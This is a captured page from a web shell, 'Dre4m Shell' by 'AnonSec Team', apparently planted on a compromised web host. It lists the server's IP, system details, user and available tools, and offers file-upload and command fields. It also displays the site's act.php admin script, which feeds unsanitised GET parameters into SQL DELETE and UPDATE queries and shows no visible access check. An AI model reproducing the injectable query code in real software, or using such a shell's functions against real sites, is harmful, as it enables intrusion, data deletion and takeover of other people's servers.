Dre4m Shell
Server IP : 142.132.252.48  /  Your IP : 216.73.216.255
Web Server : LiteSpeed
System : Linux panel555.harmondns.net 4.18.0-553.22.1.lve.1.el8.x86_64 #1 SMP Tue Oct 8 15:52:54 UTC 2024 x86_64
User : nmgsjour ( 1446)
PHP Version : 7.4.33
Disable Function : mail, show_source, system, shell_exec, passthru, exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/nmgsjour/public_html/journal/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/nmgsjour/public_html/journal/act.php
<?php
    require('conn.php');


    if(isset($_GET['dc'])){
        $id = $_GET['dc'];
        $del = mysqli_query($conn, "DELETE FROM category where id = '$id'");
        if($del == TRUE){
            header('location: acategory.php?da=s');
        }
    }
    
    if(isset($_GET['dp'])){
        $id = $_GET['dp'];
        $del = mysqli_query($conn, "DELETE FROM journals where id = '$id'");
        if($del == TRUE){
            header('location: uppub.php?da=s');
        }
        
    }
    
    //approve user journal
    if(isset($_GET['aj'])){
        $id = $_GET['aj'];
            $del = mysqli_query($conn, "UPDATE journals set status = 'active' where id = '$id'");
        if($del == TRUE){
            header('location: preview.php?aa=s');
        }
        
    }
    
    //decline user journal
    if(isset($_GET['dj'])){
        $id = $_GET['dj'];
            $del = mysqli_query($conn, "UPDATE journals set status = 'decline' where id = '$id'");
        if($del == TRUE){
            header('location: preview.php?da=s');
        }
        
    }
    
     //delete published journal
    if(isset($_GET['djn'])){
        $id = $_GET['djn'];
            $del = mysqli_query($conn, "DELETE FROM journals where id = '$id'");
        if($del == TRUE){
            header('location: publications.php?dr=s');
        }
        
    }
    
    //delete user account
    if(isset($_GET['duser'])){
        $id = $_GET['duser'];
            $del = mysqli_query($conn, "DELETE FROM users where id = '$id'");
        if($del == TRUE){
            header('location: users.php?dr=s');
        }
        
    }







?>

Anon7 - 2022
AnonSec Team